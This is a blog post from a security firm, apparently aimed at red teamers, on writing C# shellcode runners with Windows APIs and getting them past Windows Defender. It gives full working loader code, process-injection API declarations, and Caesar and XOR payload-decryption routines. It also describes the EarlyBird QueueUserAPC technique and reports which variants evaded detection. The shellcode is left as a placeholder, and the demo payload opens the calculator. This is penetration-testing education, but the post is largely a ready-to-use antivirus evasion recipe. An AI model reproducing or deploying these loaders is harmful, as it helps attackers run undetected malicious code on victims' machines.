• Your shield in Cyber Security

Exploring WinAPIs, C#, and Payload Encryption in Shellcode Runners

Introduction

C# stands out as a popular language choice within a red team’s arsenal for developing various penetration testing tools. Its versatility and efficiency make it a preferred choice for numerous penetration testing tools used worldwide, with prominent examples including Rubeus, Seatbelt, Watson, SharpView and SharpHound. While C# may not offer certain low-level functionalities inherent in languages like C or C++, such as direct memory manipulation, its strengths lie in other areas. C# provides in-memory execution and can be utilized to bypass detection and defences as .NET is installed on Windows by default.

This blog post aims to explore how WinAPIs, C# and Payload Encryption can be leveraged to develop shellcode runners that bypass modern antivirus solutions.

The Fundamentals

Before delving into shellcode runners in C# using WinAPIs, it’s assumed that readers have a foundational understanding of the language’s basics and the distinction between managed and unmanaged code. This assumption allows us to focus on more advanced topics, such as allocation of memory and remote thread execution. For those seeking a primer on C# fundamentals or a refresher on managed and unmanaged code, numerous resources are available to provide a solid grounding before delving into these more complex concepts.

WinAPIs

WinAPIs, or Windows Application Programming Interfaces, are a collection of functions and procedures exposed by the Windows operating system. These APIs provide developers with a means to interact with the underlying system, enabling the creation of Windows applications that can perform a wide range of tasks, from basic file operations to advanced system-level functions. WinAPIs serve as the bridge between application code and the operating system, allowing developers to access system resources, manipulate windows, handle input/output operations, and much more.

In the context of shellcode runners, WinAPIs play a crucial role in developing malicious payloads and evading detection. For example, by leveraging WinAPI functions such as VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, shellcode runners can allocate memory, write their shellcode into the address space of another process, and then execute it remotely. These APIs provide the necessary functionality to manipulate processes and memory at a low level, enabling attackers to inject and execute their malicious code stealthily. By understanding and utilizing WinAPIs effectively, attackers can enhance the stealth and effectiveness of their shellcode runners, making them more difficult to detect and mitigate.

The MessageBox Example

Before we jump straight to the fun stuff, let’s see an example using an unmanaged API call like MessageBox. Microsoft provides the syntax for the MessageBox prototype in C++, as shown below.

int MessageBox(

[in, optional] HWND    hWnd,

[in, optional] LPCTSTR lpText,

[in, optional] LPCTSTR lpCaption,

[in]           UINT    uType

);

However, since C# doesn’t have variable datatypes named HWND or LPCTSTR, we will need to convert these C++ data types to something we are more familiar with.

A data type conversion chart can be found below. This chart is from a post by Matt Hand at SpecterOps who explains a lot of the same topics discussed in this blog post.

Using this conversion chart, we can convert HWND to IntPtr and LPCTSTR to string.

The MessageBox prototype in C# will look like this.

int MessageBox(

    IntPtr    hWnd,

    string lpText,

    string lpCaption,

    uint    uType

);

Now that we have the MessageBox C# prototype, we can actually use it. To call the MessageBox function using P/Invoke in C#, we need to use the DllImport attribute to import the DLL that has the unmanaged code for us to use.

P/Invoke, short for Platform Invocation Services, is a powerful feature in C# that enables interoperability with native code libraries (often written in languages like C or C++) by allowing managed code to call unmanaged functions. This capability is particularly valuable in malware development, where access to low-level system functionality is necessary to perform various tasks, such as interacting with system APIs or manipulating memory directly. Most of the P/Invoke API is contained in two namespaces: System and System.Runtime.InteropServices.

According to the Microsoft Documentation, the dll for the MessageBox function is user32.dll.

The Dllimport will look like this:

[DllImport("user32.dll")]

public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

This is a very good start, now we can actually implement the external code (extern) to trigger a Message Box!

using System;

using System.Runtime.InteropServices;

// Required namespaces

 

namespace demo

    {

        class Program

        {

            [DllImport("user32.dll")]

            public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

            // MessageBox WinAPI Import

 

            static void Main(string[] args)

           {

                MessageBox(IntPtr.Zero, "Hello, this is a MessageBox!", "Alert", 0);

                // MessageBox Call

            }

        }

    }

In this example, the MessageBox function is called with parameters to display a simple message box with the text “Hello, this is a MessageBox!” and the title “Alert”.

Let’s build the project and see if it runs.

 

🎉🎉🎉

Constructing a Simple Shellcode Runner using WinAPIs

Now onto the fun stuff. We were able to display a Message Box using WinAPI, let’s see how we can create a simple shellcode runner.

For our simple shellcode runner, we will use the below WinAPIs:

  • VirtualAlloc to allocate memory,
  • CreateThread to create a thread, and
  • WaitForSingleObject to wait for the thread to exit.

Once again, we can use these WinAPIs in C# with the help of P/invoke. An amazing resource for P/Invoke can be found at https://www.pinvoke.dev/

using System.Runtime.InteropServices;

 

[DllImport("kernel32.dll")]

static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

 

[DllImport("kernel32.dll")]

static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

 

[DllImport("kernel32.dll")]

static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

Once the required WinAPIs are imported, we can start crafting our main method. We can start by initializing a byte array of our payload. For simplicity, I will be using an msfvenom generated payload that opens calc.exe.

byte[] buf = new byte[276] {<shellcode_here>};

 

With the byte array in our main method, we can start utilizing our WinAPIs. First, we will use VirtualAlloc to allocate memory for our shellcode. The address will be set to zero (IntPtr.Zero), allowing the system to determine the allocation location dynamically. The size of the allocated memory must match the size of the shellcode (buf.Length). The allocation should be flagged as MEM_COMMIT (0x1000) and MEM_RESERVE (0x2000) to commit and reserve the memory space in one step. The protection attribute should be set to PAGE_EXECUTE_READWRITE (0x40) to enable write and execution permissions of our shellcode within the allocated memory.

int size = buf.Length;

 

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x1000 | 0x2000, 0x40);

We can utilize Marshal.Copy to insert our shellcode into the allocated memory space. This method requires four arguments: the byte array containing our shellcode, the starting index, the destination, and the size.

Marshal.Copy(buf, 0, addr, size);

The next step involves executing the shellcode, which can be achieved by utilizing CreateThread. Most of these arguments are not required for our purpose, so we can simply set them to 0 or IntPtr.Zero, appropriately. The only argument we care about is lpStartAddress, which we’ll set to the address of our allocated memory (addr).

IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Finally, we’ll utilize WaitForSingleObject to instruct our thread to wait indefinitely. We’ll set the hHandle argument to our thread handle we created with CreateThead. The value 0xFFFFFFFF is used to specify an infinite timeout period.

WaitForSingleObject(hThread, 0xFFFFFFFF);

Combining all the above components, we get the below:

using System;

using System.Runtime.InteropServices;

 

namespace ConsoleApp1

{

    class Program

    {

        [DllImport("kernel32.dll")]

        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

 

        [DllImport("kernel32.dll")]

        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

 

        [DllImport("kernel32.dll")]

        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

 

        static void Main(string[] args)

        {

            byte[] buf = new byte[276] { <shellcode_here> };

 

            int size = buf.Length;

 

            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x1000 | 0x2000, 0x40);

 

            Marshal.Copy(buf, 0, addr, size);

 

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

 

            WaitForSingleObject(hThread, 0xFFFFFFFF);

        }

    }

}

Let’s build the shellcode runner and see if it runs.

 

Sweet! However, we aren’t done yet. Let’s turn on Windows Defender’s Real Time Protection and in my case, move the shellcode runner into a non-excluded folder. Upon executing the program again, we notice that Windows Defender eats this shellcode runner alive and prevents it from executing.

 

Modifying our Shellcode Runner

Let’s first modify our shellcode runner (without the msfvenom shellcode) to avoid detection because admittedly our current shellcode runner is very barebones and has most likely been used many times.

I’ve made a few modifications to the shellcode runner by utilizing a process injection technique.

Without going into too much detail about how to develop a shellcode runner utilizing process injection, I’ll briefing discuss the choice of WinAPIs. Firstly, we’ll be using OpenProcess to obtain a handle on a remote process. Then, instead of using VirtualAlloc, we’ll utilize VirtualAllocEx, as it allows memory allocation within another process’s address space. Similarly, we’ll use WriteProcessMemory instead of Marshal.Copy, as we’re now writing into a remote process. Finally, we’ll use CreateRemoteThread to create a thread within that process.

The DllImport’s for these WinAPIs can be seen below.

[DllImport("kernel32.dll")]

public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId);

 

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

 

[DllImport("kernel32.dll")]

public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);

 

[DllImport("kernel32.dll")]

public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);

Now lets compile this modified shellcode runner, replacing the msfvenom shellcode with dummy shellcode with the same size byte array length, and see how they compare to Windows Defender.

 

 

As we can see above, our shellcode runner template is no longer detected when using more complex techniques. Now let’s add our msfvenom shellcode byte array back into the modified shellcode runner.

 

Damn! Windows Defender once again detects our shellcode runner, even with the upgrades. But this was expected. While we’ve solved the problem of our shellcode runner template being detected, msfvenom payloads and many other commercial products, such as Cobalt Strike, are heavily signatured and are kill-on-site for most antivirus solutions. if not all.

You must be wondering, if the shellcode is being detected, how can we hide or obfuscate it? Well that leads us to the next section.

Payload Encryption

Over the years, numerous encryption and obfuscation techniques have been employed to circumvent signature detection in shellcode runners. We’ll delve into a few commonly utilized payload encryption methods and assess their effectiveness in evading detection by Microsoft’s Windows Defender.

Straight off the bat, we’ll test an absolute classic, the Caesar Cipher. The Caesar cipher on shellcode works by applying a fixed shift to each byte of the shellcode, providing a simple method of encryption.

I’ve encrypted the shellcode byte array with a fixed shift of 8 and crafted a simple decryption routine, as seen below:

static void Main(string[] args)

{

    ...

        byte[] encryptedBytes = { <encrypted_shellcode_here> };

        int key = 8;

        byte[] buf = CaesarDecryptBytes(encryptedBytes, key);

    ...

}

 

static byte[] CaesarDecryptBytes(byte[] encryptedBytes, int key)

    {

        byte[] decryptedBytes = new byte[encryptedBytes.Length];

        for (int i = 0; i < encryptedBytes.Length; i++)

        {

            int decryptedValue = (encryptedBytes[i] - key + 256) % 256;

            decryptedBytes[i] = (byte)decryptedValue;

        }

    return decryptedBytes;

    }

We’ll add the decryption routine to our modified shellcode runner, compile it and give it a run.

 

Honestly, I’m very surprised a simple encryption method like Caesar’s Cipher was able to bypass Windows Defender. Let’s compile the shellcode runner into a standalone executable using csc.exe and give it a try on a new up to date Windows 11 machine (as of writing this) to simulate a more realistic scenario.

 

 

I had a feeling it was too good to be true. Let’s try something a little bit more complex. Next, we’ll try XOR payload encryption. XOR on shellcode works by bitwise XORing each byte of the shellcode with a chosen key, yet again providing a simple yet effective method of encryption.

Once again, I’ve encrypted the shellcode with a key and crafted the below decryption routine:

static void Main(string[] args)

{

    ...

    byte[] encryptedBytes = { <XOR_encrypted_shellcode_here> };

    byte[] bytes = XorDecryptBytes(encryptedBytes, key);

    ...

}

 

static byte[] XorDecryptBytes(byte[] encryptedBytes, byte[] key)

{

    byte[] decryptedBytes = new byte[encryptedBytes.Length];

    int keyLength = key.Length;

    for (int i = 0; i < encryptedBytes.Length; i++)

    {

        byte encryptedByte = encryptedBytes[i];

        byte keyByte = key[i % keyLength];

        byte decryptedByte = (byte)(encryptedByte ^ keyByte);

        decryptedBytes[i] = decryptedByte;

    }

    return decryptedBytes;

}

We’ll add the decryption routine to our modified shellcode runner, compile it using csc.exe and give it a run.

 

 

Once again caught on a new Windows 11 machine. I could potentially buff up the modified shellcode runner using Delegates, which allows wrapping methods within a class, and a stronger encryption, such as Advanced Encryption Standard (AES). However, I decided to rewrite the shellcode runner again using the QueueUserAPC EarlyBird technique.

This technique involves using the QueueUserAPC function to inject shellcode into the address space of a remote process. By leveraging this technique, the shellcode can execute its payload before many security mechanisms have fully initialized, increasing its chances of remaining undetected. This approach is particularly effective because it allows malicious code to execute in the context of a legitimate process, making it harder for security software, such as Windows Defender, to detect.

The QueueUserAPC prototype can be seen below.

DWORD QueueUserAPC(

    [in] PAPCFUNC  pfnAPC,

    [in] HANDLE    hThread,

    [in] ULONG_PTR dwData

);

With the upgraded shellcode runner and our XOR encryption routine in place, compile it using csc.exe and give it a run.

 

 

Perfect! Our shellcode was successfully decrypted and executed without being detected, giving us that beautiful calculator.

Conclusion

This blog hopefully serves as a brief introduction into C# shellcode runners and their potential to circumvent modern antivirus solutions. However, in the broader context of malware development, this only begins to touch upon the surface. Numerous challenges lie ahead, including behavioural detection, Endpoint Detection and Response (EDR) systems, and the ever-evolving cat and mouse chase. Moreover, many WinAPIs, both documented and undocumented, that were not discussed in this blog can be leveraged to create advanced shellcode runners and red team tools. Keep learning and get creative!

References

Thanks to all these amazing blogs and articles, in which this blog was heavily inspired by:

Stay Up to Date

Latest News